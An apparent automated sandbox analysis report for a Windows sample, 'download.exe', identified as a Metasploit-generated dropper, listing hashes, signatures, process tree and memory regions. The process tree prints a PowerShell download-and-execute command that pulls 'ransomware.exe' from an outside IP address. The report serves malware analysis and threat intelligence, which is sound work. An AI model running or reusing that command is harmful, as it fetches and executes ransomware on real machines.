Analysis

  • max time kernel
    122s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-20231129-en
  • resource tags

    arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
  • submitted
    07-06-2024 17:02

General

  • Target

    download.exe

  • Size

    4KB

  • MD5

    512c08286e3d66c21987e05f09ce7125

  • SHA1

    5a5970be0883565aeef9ab152713d6a41ac7daf6

  • SHA256

    716b65a42612f32fa410f3365eae3e348b9f046d5678e280f8e448d8c6e7b852

  • SHA512

    b20db24435d54afdbb4f89a307212622739ea9a63bd2c668214f0493e92d38edde0bf59aece36f89f7152a0039ba06169313a7cca0f671c645d00b8a50012cac

  • SSDEEP

    96:pxd6xaXg+9n+O0Kv5jhB5IJuG7XZgD6tYTB9X:LM0dp+BKvhhEuG7peDB1

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://20.81.130.178:8080/ransomware.exe

Extracted

Family

metasploit

Version

encoder/shikata_ga_nai

Extracted

Family

metasploit

Version

windows/exec

Signatures

  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\download.exe
    "C:\Users\Admin\AppData\Local\Temp\download.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2088
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell "IEX(New-Object Net.webClient).downloadString('http://20.81.130.178:8080/ransomware.exe')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2344

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/2088-0-0x0000000000400000-0x0000000000404000-memory.dmp

    Filesize

    16KB

  • memory/2088-2-0x0000000000400000-0x0000000000404000-memory.dmp

    Filesize

    16KB

  • memory/2344-5-0x00000000743C1000-0x00000000743C2000-memory.dmp

    Filesize

    4KB

  • memory/2344-6-0x00000000743C0000-0x000000007496B000-memory.dmp

    Filesize

    5.7MB

  • memory/2344-7-0x00000000743C0000-0x000000007496B000-memory.dmp

    Filesize

    5.7MB

  • memory/2344-8-0x00000000743C0000-0x000000007496B000-memory.dmp

    Filesize

    5.7MB

  • memory/2344-9-0x00000000743C0000-0x000000007496B000-memory.dmp

    Filesize

    5.7MB

  • memory/2344-10-0x00000000743C0000-0x000000007496B000-memory.dmp

    Filesize

    5.7MB

  • memory/2344-11-0x00000000743C0000-0x000000007496B000-memory.dmp

    Filesize

    5.7MB